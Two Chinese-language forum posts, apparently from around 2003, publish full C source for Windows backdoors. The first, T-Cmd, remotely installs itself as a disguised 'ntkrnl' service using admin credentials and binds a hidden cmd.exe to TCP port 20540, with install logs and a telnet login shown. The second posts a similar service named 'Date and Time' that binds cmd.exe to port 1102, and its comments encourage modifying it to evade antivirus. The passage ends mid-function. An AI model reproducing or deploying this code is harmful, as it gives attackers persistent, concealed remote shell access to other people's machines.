Author: TOo2y
E-mail: TOo2y@safechina.net
HomePage: www.safechina.net http://fz5fz.yeah.net
Date: 02-05-2003
1>相关简介:
自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行。监听端口20540/tcp。
远程安装/卸载时,需提供管理员权限(Admin)的用户名及密码,若密码为空,请用"NULL"代替。
适应平台:Windows2000/XP。
敬请注意,任何使用本程序做非法用途及相关后果,与本人无关。
原理与代码参见《浅析Windows2000/XP服务与后门技术》。
2>本地及远程安装/卸载实例:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\MPJ\CUI\T-Cmd\Debug>T-Cmd -Help
---[ T-Cmd v1.0 beta, by TOo2y ]---
---[ E-mail: TOo2y@safechina.net ]---
---[ HomePage: www.safechina.net ]---
---[ Date: 02-05-2003 ]---
Attention:
Be careful with this software, Good luck !
Usage Show:
T-Cmd -Help
T-Cmd -Install [RemoteHost] [Account] [Password]
T-Cmd -Remove [RemoteHost] [Account] [Password]
Example:
T-Cmd -Install (Install in the localhost)
T-Cmd -Remove (Remove in the localhost)
T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)
T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)
T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)
D:\MPJ\CUI\T-Cmd\Debug>T-Cmd -Install
Transmitting File ... Success !
Creating Service .... Success !
Starting Service .... Pending ... Success !
D:\MPJ\CUI\T-Cmd\Debug>T-Cmd -Remove
Stopping Service .... Pending ... Success !
Removing Service .... Success !
Removing File ....... Success !
D:\MPJ\CUI\T-Cmd\Debug>T-Cmd -Install 192.168.0.1 Administrator NULL
Now Connecting ...... Success !
Transmitting File ... Success !
Creating Service .... Success !
Starting Service .... Pending ... Success !
Now Disconnecting ... Success !
D:\MPJ\CUI\T-Cmd\Debug>T-Cmd -Remove 192.168.0.1 Administrator NULL
Now Connecting ...... Success !
Stopping Service .... Pending ... Success !
Removing Service .... Success !
Removing File ....... Success !
Now Disconnecting ... Success !
3>登录实例:
D:\MPJ\CUI\T-Cmd\Debug>Telnet 192.168.0.1 20540
---[ T-Cmd v1.0 beta, by TOo2y ]---
---[ E-mail: TOo2y@safechina.net ]---
---[ HomePage: www.safechina.net ]---
---[ Date: 02-05-2003 ]---
Escape Character is 'CTRL+]'
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
C:\WINNT\system32>
关于:
FZ5FZ,我们主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。
FZ5FZ 主页:http://fz5fz.yeah.net
Quote:
#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 1024
typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;
typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;
HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);
BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);
void Start(void);
void Usage(void);
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};
if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}
StartServiceCtrlDispatcher(DispatchTable);
return 0;
}
void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}
return ;
}
void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}
hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}
WSACleanup();
return 0;
}
DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}
if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));
WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);
CloseHandle(hWriteShell);
CloseHandle(hReadShell);
sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}
sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);
return 0;
}
DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";
send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);
while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}
for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}
if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}
shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}
DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];
dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;
sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;
if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}
if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}
return TRUE;
}
void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}
printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}
printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}
printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}
void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");
printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}
附件: T-Cmd.rar (22 K)
定制自己的后门
发布: N.E.V.E.R 日期: 05-08 类别: 新手上路 今日/总浏览: 2/21146
这里是一个创建windows服务的程序,绑定cmd.exe到1102口,随计算机启动而自动开启。服务的Thread就是BindCmd2Port函数,可以(最好是)自己定制。可能需要修改的变量在程序里面有注释,如果你一点都不改的话,那么用的时候一定要拷到path变量设定的目录(比如c:\winnt\system32)中,记得加上/install参数,以后telnet到1102口就可以了。
如果要改的话(最好是改一下),把那个BindCmd2Port函数整个改掉吧,我都记不得是哪里paste过来的了。
写得匆忙,主要是急着用。本来很喜欢T-Cmd的,可是没有源代码看,只好自己写,抛砖而已,大家有玉请砸过来。
btw:上次的开3389的代码,我是不是没有close注册表?
在Windows2000 Pro(???)正常(?)运行。
/*
This program creates a service which binds a
cmd.exe to port 1102(can be easily defined by
yourself). Try to modify it to escape from the
anti-virus software.
Try not paste the paste-up elsewhere.
by N.E.V.E.R@SEU
*/
#include "windows.h"
#include "stdio.h"
#pragma comment (lib, "WS2_32.lib")
//Global Variables
int port=1102;
//Listening port, 1 ~ 65535 as you like
char ServicesName[255]="Date and Time";
//Service name, name it Bill Gate's Backdoor?
char ServicesDisplayName[255]="Date and Time";
//Service display name
HANDLE hTerminateEvent = NULL;
SERVICE_STATUS_HANDLE hServiceStatus;
BOOL bPauseService = FALSE;
BOOL bRunningService = FALSE;
HANDLE hThread = NULL;
DWORD BindCmd2Port(LPVOID);
BOOL SendStatusToSCM(DWORD, DWORD, DWORD, DWORD, DWORD);
BOOL InitService();
VOID Handler (DWORD);
VOID terminate(DWORD);
VOID ServiceMain(DWORD, LPTSTR*);
void main(int argc, char* argv[])
{
if(argc==2&&!strcmp(argv[1],"/install"))
{
char binaryPathName[_MAX_PATH];
char tmp[255]="net start \"";
strcat(tmp,ServicesName);
strcat(tmp,"\"");
GetModuleFileName(NULL,binaryPathName,_MAX_PATH);
SC_HANDLE s = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);
SC_HANDLE hNewService = CreateService(s, ServicesName, ServicesDisplayName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
binaryPathName, NULL, NULL, NULL, NULL, NULL);
if(!hNewService)
printf("Error Creating Services...");
else
WinExec(tmp,0);
Sleep(4000);
CloseServiceHandle(hNewService);
CloseServiceHandle(s);
return;
}
SERVICE_TABLE_ENTRY serviceTable[] =
{
{ ServicesName, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{ NULL, NULL }
};
if(!StartServiceCtrlDispatcher(serviceTable))
{
printf("Failed at StartServiceCtrlDispatcher..\n");
printf("or you run this .exe directly? Try \n %s /install",argv[0]);
return;
}
}
DWORD BindCmd2Port(LPVOID lp)
{
char cmdLine[] = "cmd.exe";
SOCKET s=INVALID_SOCKET;
WSADATA WSAData;
int ret;
char Buff[2048];
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;
SECURITY_ATTRIBUTES sa;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return 0;
if((s=socket(AF_INET, SOCK_STREAM, 0))==INVALID_SOCKET)
{
closesocket(s);
WSACleanup();
return 0;
}
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if(bind(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
return 0;
if(listen(s,1)==SOCKET_ERROR)
return 0;
int temp=sizeof(addr);
while(1){
s=accept(s,(sockaddr*)&addr,&temp);
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
while(1)
{
Sleep(100);
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(!lBytesRead)
{
lBytesRead = recv(s,Buff,1024,0);
if(lBytesRead <= 0) break;
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead >= 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
closesocket(s);
return 1;
}
if(!ret) break;
}
else
{
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret = send(s,Buff,lBytesRead,0);
if(ret <= 0) break;
}
}
}
closesocket(s);
WSACleanup();
return 1;
}
VOID terminate(DWORD error)
{
if (hTerminateEvent)
CloseHandle(hTerminateEvent);
if (hServiceStatus)
SendStatusToSCM(SERVICE_STOPPED, error,0, 0, 0);
if (hThread)
CloseHandle(hThread);
}
VOID ServiceMain(DWORD argc, LPTSTR *argv)
{
hServiceStatus = RegisterServiceCtrlHandler(
ServicesName, (LPHANDLER_FUNCTION)Handler);
if(!hServiceStatus)
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 1, 5000))
{
terminate(GetLastError());
return;
}
hTerminateEvent = CreateEvent (0, TRUE, FALSE, 0);
if(!hTerminateEvent)
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000))
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 3, 5000))
{
terminate(GetLastError());
return;
}
if (!InitService())
{
terminate(GetLastError());
return;
}
if (!SendStatusToSCM(SERVICE_RUNNING, NO_ERROR, 0, 0, 0))
{
terminate(GetLastError());
return;
}
WaitForSingleObject (hTerminateEvent, INFINITE);
terminate(0);
}
BOOL SendStatusToSCM( DWORD dwCurrentState,
DWORD dwWin32ExitCode,
DWORD dwServiceSpecificExitCode,
DWORD dwCheckPoint,
DWORD dwWaitHint)
{
SERVICE_STATUS serviceStatus;
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = dwCurrentState;
if (dwCurrentState == SERVICE_START_PENDING)
serviceStatus.dwControlsAccepted = 0;
else
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP |
SERVICE_ACCEPT_PAUSE_CONTINUE |
SERVICE_ACCEPT_SHUTDOWN;
if (dwServiceSpecificExitCode == 0)
serviceStatus.dwWin32ExitCode = dwWin32ExitCode;
else
serviceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
serviceStatus.dwServiceSpecificExitCode =dwServiceSpecificExitCode;
serviceStatus.dwCheckPoint = dwCheckPoint;
serviceStatus.dwWaitHint = dwWaitHint;
return SetServiceStatus (hServiceStatus, &serviceStatus);
}
BOOL InitService()
{
DWORD id;
hThread = CreateThread(0, 0,(LPTHREAD_START_ROUTINE) BindCmd2Port,0, 0, &id);
if (hThread==0)
return FALSE;
else
{
bRunningService = TRUE;
return TRUE;
}
}
VOID Handler (DWORD controlCode)
{
DWORD currentState = 0;
BOOL success;
switch(controlCode)
{
case SERVICE_CONTROL_STOP:
success = SendStatusToSCM(SERVICE_STOP_PENDING,NO_ERROR, 0, 1, 5000);
bRunningService=FALSE;
SetEvent(hTerminateEvent);
return;
